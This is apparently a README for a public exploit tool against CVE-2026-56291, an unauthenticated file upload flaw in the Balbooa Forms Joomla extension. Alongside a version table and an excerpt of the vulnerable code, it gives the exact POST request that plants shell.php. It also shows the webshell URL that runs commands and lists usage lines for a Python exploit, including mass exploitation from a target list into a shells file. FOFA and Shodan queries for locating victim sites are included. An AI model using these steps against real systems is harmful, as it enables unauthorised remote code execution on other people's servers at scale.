
Balbooa Forms (com_baforms) < 2.4.1 — Unauthenticated File Upload to RCE via form.uploadAttachmentFile | CVSS 9.8 | CISA KEV
CVE-2026-56291 is a critical (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Balbooa Forms (com_baforms) Joomla extension (< 2.4.1).
The form.uploadAttachmentFile frontend task does not call Session::checkToken() or perform any permission check. Uploaded files use the attacker's extension directly: $fileName = $name . '.' . $ext. Files land in images/baforms/uploads/form-{id}/ — directly executable as PHP.
| Version | Status |
|---|---|
| 1.0 – 2.4.0 | Vulnerable |
| 2.4.1+ | Patched |
CISA KEV: Added July 10, 2026 — active exploitation confirmed.
// FormModel::uploadAttachmentFile (frontend/models/forms/FormModel.php ~L122)
// No Session::checkToken(), no permission check, no extension whitelist
$fileName = $name . '.' . $ext; // attacker's extension used directly
$filePath = JPATH_ROOT . '/images/baforms/uploads/form-' . $formId . '/' . $fileName;
move_uploaded_file($tmpFile, $filePath);
POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1&format=json
file = shell.php (multipart)
→ Saved to images/baforms/uploads/form-1/shell.php
→ https://target.com/images/baforms/uploads/form-1/shell.php?c=id
→ RCE
git clone https://github.com/shinthink/CVE-2026-56291.git
cd CVE-2026-56291
pip install -r requirements.txt
python cve_2026_56291.py -t target.com
python cve_2026_56291.py -f targets.txt -o shells.txt
python cve_2026_56291.py -t target.com --debug
python cve_2026_56291.py -t target.com --no-cleanup
FOFA: body="com_baforms"
Shodan: http.html:"baforms"
| Resource | Link |
|---|---|
| CISA KEV | cisa.gov/known-exploited-vulnerabilities |
| Fix Details | mysites.guru |
| Researcher | Phil Taylor |
Not affiliated with Balbooa.